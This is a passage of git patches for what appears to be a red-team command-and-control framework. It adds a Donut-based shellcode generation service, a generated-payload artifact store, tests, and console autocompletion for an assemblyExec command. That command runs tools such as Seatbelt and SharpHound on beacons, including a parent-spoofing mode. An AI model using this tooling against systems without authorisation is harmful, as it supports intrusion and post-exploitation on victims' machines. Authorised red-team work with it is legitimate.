sidecar["runtime"] = request.runtime; + sidecar["source"] = request.source; + sidecar["sha256"] = record.sha256; + sidecar["description"] = request.description; + sidecar["tags"] = request.tags; + + std::ofstream sidecarOutput(artifactPath.string() + ".artifact.json", std::ios::binary); + if (!sidecarOutput.good()) + { + fs::remove(artifactPath, ec); + return {}; + } + sidecarOutput << sidecar.dump(2); + sidecarOutput.close(); + if (!sidecarOutput.good()) + { + fs::remove(artifactPath, ec); + fs::remove(artifactPath.string() + ".artifact.json", ec); + return {}; + } + + return record; +} diff --git a/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp b/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp new file mode 100644 index 0000000..05a5902 --- /dev/null +++ b/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp @@ -0,0 +1,44 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerRuntimeConfig.hpp" + +struct TeamServerGeneratedArtifactRequest +{ + std::string nameHint; + std::string bytes; + std::string category = "payload"; + std::string scope = "generated"; + std::string target = "beacon"; + std::string platform = "any"; + std::string arch = "any"; + std::string format = "bin"; + std::string runtime = "shellcode"; + std::string source = "generated"; + std::string description; + std::vector tags; +}; + +struct TeamServerGeneratedArtifactRecord +{ + std::string artifactId; + std::string path; + std::string name; + std::string displayName; + std::string sha256; + std::int64_t size = 0; +}; + +class TeamServerGeneratedArtifactStore +{ +public: + explicit TeamServerGeneratedArtifactStore(TeamServerRuntimeConfig runtimeConfig); + + TeamServerGeneratedArtifactRecord store(const TeamServerGeneratedArtifactRequest& request) const; + +private: + TeamServerRuntimeConfig m_runtimeConfig; +}; diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.cpp b/teamServer/teamServer/TeamServerRuntimeConfig.cpp index d4d845d..7a2aa3a 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.cpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.cpp @@ -22,6 +22,8 @@ TeamServerRuntimeConfig TeamServerRuntimeConfig::fromJson(const nlohmann::json& runtimeConfig.scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); if (auto it = config.find("CommandSpecsDirectoryPath"); it != config.end() && it->is_string()) runtimeConfig.commandSpecsDirectoryPath = it->get(); + if (auto it = config.find("GeneratedArtifactsDirectoryPath"); it != config.end() && it->is_string()) + runtimeConfig.generatedArtifactsDirectoryPath = it->get(); if (auto it = config.find("DefaultWindowsArch"); it != config.end() && it->is_string()) runtimeConfig.defaultWindowsArch = normalizeWindowsArch(it->get()); if (auto it = config.find("SupportedWindowsArchs"); it != config.end() && it->is_array()) @@ -110,6 +112,14 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("Command specs directory path don't exist: {0}", commandSpecsDirectoryPath.c_str()); + + if (!fs::exists(generatedArtifactsDirectoryPath)) + { + std::error_code ec; + fs::create_directories(generatedArtifactsDirectoryPath, ec); + if (ec) + logger->error("Generated artifacts directory path don't exist and could not be created: {0}", generatedArtifactsDirectoryPath.c_str()); + } } void TeamServerRuntimeConfig::configureCommonCommands(CommonCommands& commonCommands) const diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.hpp b/teamServer/teamServer/TeamServerRuntimeConfig.hpp index e82fc89..db7cb13 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.hpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.hpp @@ -23,6 +23,7 @@ struct TeamServerRuntimeConfig std::string toolsDirectoryPath; std::string scriptsDirectoryPath; std::string commandSpecsDirectoryPath = "../CommandSpecs/"; + std::string generatedArtifactsDirectoryPath = "../GeneratedArtifacts/"; std::string defaultWindowsArch = "x64"; std::vector supportedWindowsArchs = {"x86", "x64", "arm64"}; diff --git a/teamServer/teamServer/TeamServerShellcodeService.cpp b/teamServer/teamServer/TeamServerShellcodeService.cpp new file mode 100644 index 0000000..bbaac4d --- /dev/null +++ b/teamServer/teamServer/TeamServerShellcodeService.cpp @@ -0,0 +1,206 @@ +#include "TeamServerShellcodeService.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +namespace fs = std::filesystem; + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::string bytesToHex(const unsigned char* bytes, unsigned int length) +{ + std::ostringstream output; + output << std::hex << std::setfill('0'); + for (unsigned int index = 0; index < length; ++index) + output << std::setw(2) << static_cast(bytes[index]); + return output.str(); +} + +std::string sha256String(const std::string& value) +{ + std::array digest = {}; + unsigned int digestLength = 0; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + const bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1 + && EVP_DigestUpdate(context, value.data(), value.size()) == 1 + && EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +bool copyBounded(char* destination, std::size_t destinationSize, const std::string& value) +{ + if (destinationSize == 0 || value.size() >= destinationSize) + return false; + std::memcpy(destination, value.c_str(), value.size()); + destination[value.size()] = '\0'; + return true; +} + +int donutArch(const std::string& arch) +{ + const std::string lowered = toLower(arch); + if (lowered == "x64" || lowered == "amd64" || lowered == "x86_64") + return DONUT_ARCH_X64; + if (lowered == "x86" || lowered == "i386" || lowered == "i686") + return DONUT_ARCH_X86; + if (lowered == "arm64" || lowered == "aarch64") + return DONUT_ARCH_ARM64; + return 0; +} + +fs::path donutOutputPath() +{ + const auto now = std::chrono::steady_clock::now().time_since_epoch().count(); + return fs::temp_directory_path() / ("c2-donut-" + std::to_string(::getpid()) + "-" + std::to_string(now) + ".bin"); +} +} // namespace + +TeamServerShellcodeService::TeamServerShellcodeService(std::shared_ptr logger) + : m_logger(std::move(logger)) +{ +} + +TeamServerShellcodeResult TeamServerShellcodeService::generate(const TeamServerShellcodeRequest& request) const +{ + const std::string generator = toLower(request.generator.empty() ? "raw" : request.generator); + if (generator == "raw") + return generateRaw(request); + if (generator == "donut") + return generateDonut(request); + + TeamServerShellcodeResult result; + result.message = "Unsupported shellcode generator: " + request.generator; + return result; +} + +TeamServerShellcodeResult TeamServerShellcodeService::generateRaw(const TeamServerShellcodeRequest& request) const +{ + TeamServerShellcodeResult result; + result.generator = "raw"; + result.sourceType = "raw"; + + std::ifstream input(request.sourcePath, std::ios::binary); + if (!input.good()) + { + result.message = "Couldn't open shellcode file."; + return result; + } + + result.bytes.assign(std::istreambuf_iterator(input), std::istreambuf_iterator()); + if (result.bytes.empty()) + { + result.message = "Shellcode payload is empty."; + return result; + } + + result.sha256 = sha256String(result.bytes); + result.ok = !result.sha256.empty(); + if (!result.ok) + result.message = "Could not hash shellcode payload."; + return result; +} + +TeamServerShellcodeResult TeamServerShellcodeService::generateDonut(const TeamServerShellcodeRequest& request) const +{ + TeamServerShellcodeResult result; + result.generator = "donut"; + result.sourceType = request.sourceType.empty() ? "dotnet_exe" : request.sourceType; + + if (request.sourcePath.empty()) + { + result.message = "Donut source path is required."; + return result; + } + if (!fs::exists(request.sourcePath)) + { + result.message = "Couldn't open Donut source file."; + return result; + } + + const int arch = donutArch(request.arch); + if (arch == 0) + { + result.message = "Unsupported Donut architecture."; + return result; + } + + const fs::path outputPath = donutOutputPath(); + + DONUT_CONFIG config; + std::memset(&config, 0, sizeof(config)); + config.inst_type = DONUT_INSTANCE_EMBED; + config.arch = arch; + config.bypass = DONUT_BYPASS_CONTINUE; + config.format = DONUT_FORMAT_BINARY; + config.compress = DONUT_COMPRESS_NONE; + config.entropy = DONUT_ENTROPY_DEFAULT; + config.headers = DONUT_HEADERS_OVERWRITE; + config.exit_opt = toLower(request.exitPolicy) == "thread" ? DONUT_OPT_EXIT_THREAD : DONUT_OPT_EXIT_PROCESS; + config.thread = 0; + config.unicode = 0; + + if (!copyBounded(config.input, sizeof(config.input), request.sourcePath) + || !copyBounded(config.output, sizeof(config.output), outputPath.string()) + || !copyBounded(config.method, sizeof(config.method), request.method) + || !copyBounded(config.args, sizeof(config.args), request.arguments)) + { + result.message = "Donut input, output, method or arguments are too long."; + return result; + } + + const int err = DonutCreate(&config); + if (err != DONUT_ERROR_OK) + { + result.message = "Donut error: "; + result.message += DonutError(err); + return result; + } + + std::ifstream output(outputPath, std::ios::binary); + result.bytes.assign(std::istreambuf_iterator(output), std::istreambuf_iterator()); + DonutDelete(&config); + + std::error_code ec; + fs::remove(outputPath, ec); + + if (result.bytes.empty()) + { + result.message = "Donut generated an empty shellcode payload."; + return result; + } + + result.sha256 = sha256String(result.bytes); + result.ok = !result.sha256.empty(); + if (!result.ok) + result.message = "Could not hash Donut shellcode payload."; + return result; +} diff --git a/teamServer/teamServer/TeamServerShellcodeService.hpp b/teamServer/teamServer/TeamServerShellcodeService.hpp new file mode 100644 index 0000000..85b0329 --- /dev/null +++ b/teamServer/teamServer/TeamServerShellcodeService.hpp @@ -0,0 +1,41 @@ +#pragma once + +#include +#include + +#include "spdlog/logger.h" + +struct TeamServerShellcodeRequest +{ + std::string generator = "raw"; + std::string sourcePath; + std::string sourceType = "raw"; + std::string arch = "x64"; + std::string method; + std::string arguments; + std::string exitPolicy = "process"; +}; + +struct TeamServerShellcodeResult +{ + bool ok = false; + std::string message; + std::string bytes; + std::string sha256; + std::string generator; + std::string sourceType; +}; + +class TeamServerShellcodeService +{ +public: + explicit TeamServerShellcodeService(std::shared_ptr logger); + + TeamServerShellcodeResult generate(const TeamServerShellcodeRequest& request) const; + +private: + TeamServerShellcodeResult generateRaw(const TeamServerShellcodeRequest& request) const; + TeamServerShellcodeResult generateDonut(const TeamServerShellcodeRequest& request) const; + + std::shared_ptr m_logger; +}; diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 21a5926..715800f 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -5,7 +5,11 @@ #include #include +#include "TeamServerAssemblyExecCommandPreparer.hpp" +#include "TeamServerArtifactCatalog.hpp" #include "TeamServerCommandPreparationService.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerShellcodeService.hpp" namespace fs = std::filesystem; @@ -69,6 +73,41 @@ class FakeModule final : public ModuleCmd std::string m_capturedWindowsArch; }; +class FakeShellcodeModule final : public ModuleCmd +{ +public: + explicit FakeShellcodeModule(std::string name) + : ModuleCmd(std::move(name)) + { + } + + std::string getInfo() override + { + return "fake shellcode"; + } + + int init(std::vector&, C2Message& c2Message) override + { + c2Message.set_returnvalue("plain init should not be used"); + return -1; + } + + int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override + { + c2Message.set_instruction(getName()); + c2Message.set_cmd(task.displayCommand); + c2Message.set_args(task.executionMode); + c2Message.set_inputfile(task.inputFile); + c2Message.set_data(task.payload); + return 0; + } + + int process(C2Message&, C2Message&) override + { + return 0; + } +}; + fs::path makeTempDirectory(const std::string& name) { fs::path root = fs::temp_directory_path() / ("c2teamserver-prep-" + name + "-" + std::to_string(::getpid())); @@ -90,6 +129,20 @@ void writeFile(const fs::path& path, const std::string& content) output << content; } +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.teamServerModulesDirectoryPath = (root / "TeamServerModules").string(); + runtimeConfig.linuxModulesDirectoryPath = (root / "LinuxModules").string() + "/"; + runtimeConfig.windowsModulesDirectoryPath = (root / "WindowsModules").string() + "/"; + runtimeConfig.linuxBeaconsDirectoryPath = (root / "LinuxBeacons").string() + "/"; + runtimeConfig.windowsBeaconsDirectoryPath = (root / "WindowsBeacons").string() + "/"; + runtimeConfig.toolsDirectoryPath = (root / "Tools").string() + "/"; + runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string() + "/"; + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string() + "/"; + return runtimeConfig; +} + void testPrepareCommonCommand() { ScopedPath tempRoot(makeTempDirectory("common")); @@ -97,7 +150,7 @@ void testPrepareCommonCommand() std::vector> modules; TeamServerCommandPreparationService service( makeLogger(), - tempRoot.path().string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); @@ -115,7 +168,7 @@ void testPrepareModuleCommandCaseInsensitive() TeamServerCommandPreparationService service( makeLogger(), - tempRoot.path().string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); @@ -133,7 +186,7 @@ void testPrepareMissingCommand() TeamServerCommandPreparationService service( makeLogger(), - tempRoot.path().string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); @@ -164,7 +217,7 @@ void testPrepareLoadModuleUsesWindowsSessionArchitecture() std::vector> modules; TeamServerCommandPreparationService service( makeLogger(), - (tempRoot.path() / "TeamServerModules").string(), + makeRuntimeConfig(tempRoot.path()), commonCommands, modules); @@ -185,6 +238,86 @@ void testPrepareLoadModuleUsesWindowsSessionArchitecture() assert(armMessage.data() == "ARM64DLL"); assert(commonCommands.getLastResolvedModulePath() == (windowsModulesRoot / "arm64" / "Inject.dll").string()); } + +void testPrepareAssemblyExecUsesShellcodeServiceAndGeneratedArtifactStore() +{ + ScopedPath tempRoot(makeTempDirectory("assemblyexec-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "payload.bin", "RAW-SHELLCODE"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("assemblyExec")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("assemblyExec --mode thread --raw payload.bin", message, true, "amd64") == 0); + assert(message.instruction() == "assemblyExec"); + assert(message.args() == "thread"); + assert(message.data() == "RAW-SHELLCODE"); + assert(message.cmd() == "--mode thread --raw payload.bin"); + assert(message.inputfile().find("GeneratedArtifacts") != std::string::npos); + assert(fs::exists(message.inputfile())); + assert(fs::exists(message.inputfile() + ".artifact.json")); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + assert(artifacts[0].source == "raw"); + assert(artifacts[0].platform == "windows"); + assert(artifacts[0].arch == "x64"); +} + +void testPrepareAssemblyExecDonutReportsMissingSource() +{ + ScopedPath tempRoot(makeTempDirectory("assemblyexec-donut-missing")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("assemblyExec")); + + auto shellcodeService = std::make_shared(makeLogger()); + auto artifactStore = std::make_shared(runtimeConfig); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + runtimeConfig, + shellcodeService, + artifactStore, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + assert(service.prepareMessage("assemblyExec --mode thread --donut-exe missing.exe", message, true, "x64") == -1); + assert(message.returnvalue().find("Couldn't open Donut source file.") != std::string::npos); +} } // namespace int main() @@ -193,5 +326,7 @@ int main() testPrepareModuleCommandCaseInsensitive(); testPrepareMissingCommand(); testPrepareLoadModuleUsesWindowsSessionArchitecture(); + testPrepareAssemblyExecUsesShellcodeServiceAndGeneratedArtifactStore(); + testPrepareAssemblyExecDonutReportsMissingSource(); return 0; } From 43701b4e0555e55035544fc0e018f3556bf9adec Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 16:22:34 +0200 Subject: [PATCH 29/82] AssemblyExecTests --- C2Client/C2Client/ConsolePanel.py | 32 ++++++++++++++++++++++------ C2Client/tests/test_console_panel.py | 29 +++++++++++++++++++++++++ core | 2 +- 3 files changed, 56 insertions(+), 7 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 40148f9..ee8f17f 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -145,12 +145,32 @@ def _add_example_completions(children: list[tuple[str, list]], command: Any) -> _add_completion_value(children, suffix) -def _add_first_arg_value_completions(children: list[tuple[str, list]], command: Any) -> None: +def _arg_is_flag(arg: Any) -> bool: + name = str(getattr(arg, "name", "") or "").strip() + arg_type = str(getattr(arg, "type", "") or "").strip().lower() + return arg_type == "flag" or name.startswith("-") + + +def _add_arg_completions(children: list[tuple[str, list]], command: Any) -> None: args = list(getattr(command, "args", [])) - if not args: - return - for value in getattr(args[0], "values", []): - _add_completion_value(children, value) + first_positional_done = False + for arg in args: + name = str(getattr(arg, "name", "") or "").strip() + if _arg_is_flag(arg): + if not name: + continue + _add_completion_path(children, [name]) + flag_entry = _find_entry(children, name) + if flag_entry is not None: + for value in getattr(arg, "values", []): + _add_completion_value(flag_entry[1], value) + continue + + if first_positional_done: + continue + for value in getattr(arg, "values", []): + _add_completion_value(children, value) + first_positional_done = True def _normalized_module_name(value: Any) -> str: @@ -393,7 +413,7 @@ def command_specs_to_completer_data( continue children: list[tuple[str, list]] = [] _add_example_completions(children, command) - _add_first_arg_value_completions(children, command) + _add_arg_completions(children, command) _add_contextual_completions(children, command, command_specs, grpcClient, session, listener_hashes, tracked_modules) _add_completion_path(entries, [name]) entry = _find_entry(entries, name) diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index aed717b..795b894 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -333,6 +333,35 @@ def test_command_specs_seed_console_completer_from_manifest_examples(): assert ("0.5", []) in sleep_entry +def test_command_specs_add_flag_completions_without_positional_mode_mix(): + assembly_spec = SimpleNamespace( + name="assemblyExec", + kind="module", + examples=[ + "assemblyExec --mode process --raw shellcode.bin", + "assemblyExec --mode thread --donut-exe Seatbelt.exe -- -group=system", + ], + args=[ + SimpleNamespace(name="--mode", type="flag", values=["thread", "process", "processWithSpoofedParent"]), + SimpleNamespace(name="--raw", type="flag", values=[]), + SimpleNamespace(name="--donut-exe", type="flag", values=[]), + SimpleNamespace(name="source_path", type="path", values=[]), + ], + ) + + server_data = command_specs_to_completer_data([assembly_spec]) + assembly_children = _completion_children(server_data, "assemblyExec") + + assert ("thread", []) not in assembly_children + assert ("process", []) not in assembly_children + assert ("--raw", []) in assembly_children + assert ("--donut-exe", []) in assembly_children + + mode_children = _completion_children(assembly_children, "--mode") + assert _completion_children(mode_children, "thread") + assert ("process", [("--raw", [("shellcode.bin", [])])]) in mode_children + + def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): class FakeGrpc: def listCommands(self, query=None): diff --git a/core b/core index e04b806..4121ecb 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit e04b80628d63f3072b4bea0407237a5b5504da6a +Subproject commit 4121ecba7d8e49512590c793a1b6b5124c9d169b From 587040ee2afbd319502627b3e302578831dba109 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 16:35:29 +0200 Subject: [PATCH 30/82] Autocomplet AssemblyExec --- C2Client/C2Client/ConsolePanel.py | 31 +++++++++-- C2Client/tests/test_console_panel.py | 51 +++++++++++++++++-- core | 2 +- .../teamServer/TeamServerCommandCatalog.cpp | 2 + .../teamServer/TeamServerCommandCatalog.hpp | 2 + .../TeamServerCommandCatalogService.cpp | 3 +- .../teamServer/TeamServerHelpService.cpp | 4 ++ .../tests/TeamServerCommandCatalogTests.cpp | 26 +++++++++- 8 files changed, 112 insertions(+), 9 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index ee8f17f..7969c93 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -151,7 +151,30 @@ def _arg_is_flag(arg: Any) -> bool: return arg_type == "flag" or name.startswith("-") -def _add_arg_completions(children: list[tuple[str, list]], command: Any) -> None: +def _argument_artifact_completion_values(artifact: Any) -> list[str]: + return _dedupe_values([ + str(getattr(artifact, "name", "") or "").strip(), + str(getattr(artifact, "display_name", "") or "").strip(), + ]) + + +def _add_artifact_completions( + children: list[tuple[str, list]], + grpcClient: Any, + arg: Any, + session: Any | None, +) -> None: + for artifact in _load_artifacts_for_arg(grpcClient, arg, session): + for value in _argument_artifact_completion_values(artifact): + _add_completion_value(children, value) + + +def _add_arg_completions( + children: list[tuple[str, list]], + command: Any, + grpcClient: Any = None, + session: Any | None = None, +) -> None: args = list(getattr(command, "args", [])) first_positional_done = False for arg in args: @@ -164,12 +187,14 @@ def _add_arg_completions(children: list[tuple[str, list]], command: Any) -> None if flag_entry is not None: for value in getattr(arg, "values", []): _add_completion_value(flag_entry[1], value) + _add_artifact_completions(flag_entry[1], grpcClient, arg, session) continue if first_positional_done: continue for value in getattr(arg, "values", []): _add_completion_value(children, value) + _add_artifact_completions(children, grpcClient, arg, session) first_positional_done = True @@ -259,7 +284,7 @@ def _arg_has_artifact_filter(arg: Any) -> bool: def _artifact_query_from_arg(arg: Any, session: Any | None) -> Any: artifact_filter = getattr(arg, "artifact_filter", None) query = TeamServerApi_pb2.ArtifactQuery() - for field_name in ("category", "scope", "target", "platform", "arch", "runtime"): + for field_name in ("category", "scope", "target", "platform", "arch", "runtime", "name_contains"): value = _resolve_filter_value(getattr(artifact_filter, field_name, ""), session) if value: setattr(query, field_name, value) @@ -413,7 +438,7 @@ def command_specs_to_completer_data( continue children: list[tuple[str, list]] = [] _add_example_completions(children, command) - _add_arg_completions(children, command) + _add_arg_completions(children, command, grpcClient, session) _add_contextual_completions(children, command, command_specs, grpcClient, session, listener_hashes, tracked_modules) _add_completion_path(entries, [name]) entry = _find_entry(entries, name) diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 795b894..e520b21 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -334,6 +334,39 @@ def test_command_specs_seed_console_completer_from_manifest_examples(): def test_command_specs_add_flag_completions_without_positional_mode_mix(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + if query.name_contains == ".exe": + return iter([ + SimpleNamespace(name="windows/Seatbelt.exe", display_name="Seatbelt.exe"), + SimpleNamespace(name="SharpHound.exe", display_name="SharpHound.exe"), + ]) + if query.name_contains == ".dll": + return iter([SimpleNamespace(name="Tools/Example.dll", display_name="Example.dll")]) + return iter([]) + + artifact_filter_exe = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="", + runtime="any", + name_contains=".exe", + ) + artifact_filter_dll = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="", + runtime="any", + name_contains=".dll", + ) assembly_spec = SimpleNamespace( name="assemblyExec", kind="module", @@ -344,22 +377,34 @@ def test_command_specs_add_flag_completions_without_positional_mode_mix(): args=[ SimpleNamespace(name="--mode", type="flag", values=["thread", "process", "processWithSpoofedParent"]), SimpleNamespace(name="--raw", type="flag", values=[]), - SimpleNamespace(name="--donut-exe", type="flag", values=[]), + SimpleNamespace(name="--donut-exe", type="flag", values=[], artifact_filter=artifact_filter_exe), + SimpleNamespace(name="--donut-dll", type="flag", values=[], artifact_filter=artifact_filter_dll), SimpleNamespace(name="source_path", type="path", values=[]), ], ) - server_data = command_specs_to_completer_data([assembly_spec]) + grpc = FakeGrpc() + server_data = command_specs_to_completer_data([assembly_spec], grpcClient=grpc) assembly_children = _completion_children(server_data, "assemblyExec") assert ("thread", []) not in assembly_children assert ("process", []) not in assembly_children assert ("--raw", []) in assembly_children - assert ("--donut-exe", []) in assembly_children + donut_exe_children = _completion_children(assembly_children, "--donut-exe") + assert ("windows/Seatbelt.exe", []) in donut_exe_children + assert ("SharpHound.exe", []) in donut_exe_children + donut_dll_children = _completion_children(assembly_children, "--donut-dll") + assert ("Tools/Example.dll", []) in donut_dll_children mode_children = _completion_children(assembly_children, "--mode") assert _completion_children(mode_children, "thread") assert ("process", [("--raw", [("shellcode.bin", [])])]) in mode_children + assert grpc.queries[0].category == "tool" + assert grpc.queries[0].scope == "server" + assert grpc.queries[0].target == "teamserver" + assert grpc.queries[0].platform == "windows" + assert grpc.queries[0].runtime == "any" + assert grpc.queries[0].name_contains == ".exe" def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): diff --git a/core b/core index 4121ecb..9b72807 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 4121ecba7d8e49512590c793a1b6b5124c9d169b +Subproject commit 9b72807514b9c7836bfb43af4745fccb3ffca395 diff --git a/teamServer/teamServer/TeamServerCommandCatalog.cpp b/teamServer/teamServer/TeamServerCommandCatalog.cpp index 35f7efb..aa6789f 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.cpp @@ -93,10 +93,12 @@ TeamServerCommandArtifactFilter parseArtifactFilter(const json& input) { TeamServerCommandArtifactFilter filter; filter.category = jsonString(input, "category"); + filter.scope = jsonString(input, "scope"); filter.target = jsonString(input, "target"); filter.platform = jsonString(input, "platform"); filter.arch = jsonString(input, "arch"); filter.runtime = jsonString(input, "runtime"); + filter.nameContains = jsonString(input, "name_contains"); return filter; } diff --git a/teamServer/teamServer/TeamServerCommandCatalog.hpp b/teamServer/teamServer/TeamServerCommandCatalog.hpp index 64b2376..e9c9518 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.hpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.hpp @@ -8,10 +8,12 @@ struct TeamServerCommandArtifactFilter { std::string category; + std::string scope; std::string target; std::string platform; std::string arch; std::string runtime; + std::string nameContains; }; struct TeamServerCommandArgSpec diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.cpp b/teamServer/teamServer/TeamServerCommandCatalogService.cpp index f43ff24..f5d33e3 100644 --- a/teamServer/teamServer/TeamServerCommandCatalogService.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalogService.cpp @@ -67,10 +67,11 @@ teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamSe teamserverapi::ArtifactQuery* filter = argSpec->mutable_artifact_filter(); filter->set_category(arg.artifactFilter.category); filter->set_target(arg.artifactFilter.target); - filter->set_scope(arg.artifactFilter.target); + filter->set_scope(arg.artifactFilter.scope); filter->set_platform(arg.artifactFilter.platform); filter->set_arch(arg.artifactFilter.arch); filter->set_runtime(arg.artifactFilter.runtime); + filter->set_name_contains(arg.artifactFilter.nameContains); } } diff --git a/teamServer/teamServer/TeamServerHelpService.cpp b/teamServer/teamServer/TeamServerHelpService.cpp index 150c513..b848eb9 100644 --- a/teamServer/teamServer/TeamServerHelpService.cpp +++ b/teamServer/teamServer/TeamServerHelpService.cpp @@ -62,6 +62,8 @@ void appendArtifactFilter(std::ostringstream& output, const TeamServerCommandArt std::vector parts; if (!filter.category.empty()) parts.push_back("category=" + filter.category); + if (!filter.scope.empty()) + parts.push_back("scope=" + filter.scope); if (!filter.target.empty()) parts.push_back("target=" + filter.target); if (!filter.platform.empty()) @@ -70,6 +72,8 @@ void appendArtifactFilter(std::ostringstream& output, const TeamServerCommandArt parts.push_back("arch=" + filter.arch); if (!filter.runtime.empty()) parts.push_back("runtime=" + filter.runtime); + if (!filter.nameContains.empty()) + parts.push_back("name_contains=" + filter.nameContains); if (!parts.empty()) output << "\n Artifact filter: " << joinList(parts); diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp index 96d3e57..cc228f3 100644 --- a/teamServer/tests/TeamServerCommandCatalogTests.cpp +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -86,7 +86,16 @@ void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) "name": "seconds", "type": "number", "required": true, - "description": "Sleep interval." + "description": "Sleep interval.", + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "any", + "runtime": "any", + "name_contains": ".exe" + } } ], "examples": ["sleep 0.5"], @@ -142,6 +151,14 @@ void testCommandCatalogLoadsManifestSpecs() assert(sleep->args[0].name == "seconds"); assert(sleep->args[0].type == "number"); assert(sleep->args[0].required); + assert(sleep->args[0].hasArtifactFilter); + assert(sleep->args[0].artifactFilter.category == "tool"); + assert(sleep->args[0].artifactFilter.scope == "server"); + assert(sleep->args[0].artifactFilter.target == "teamserver"); + assert(sleep->args[0].artifactFilter.platform == "windows"); + assert(sleep->args[0].artifactFilter.arch == "any"); + assert(sleep->args[0].artifactFilter.runtime == "any"); + assert(sleep->args[0].artifactFilter.nameContains == ".exe"); assert(sleep->examples.size() == 1); const TeamServerCommandSpecRecord* end = findCommand(commands, "end"); @@ -193,6 +210,13 @@ void testCommandCatalogServiceStreamsProto() assert(commands[0].args_size() == 1); assert(commands[0].args(0).name() == "seconds"); assert(commands[0].args(0).type() == "number"); + assert(commands[0].args(0).artifact_filter().category() == "tool"); + assert(commands[0].args(0).artifact_filter().scope() == "server"); + assert(commands[0].args(0).artifact_filter().target() == "teamserver"); + assert(commands[0].args(0).artifact_filter().platform() == "windows"); + 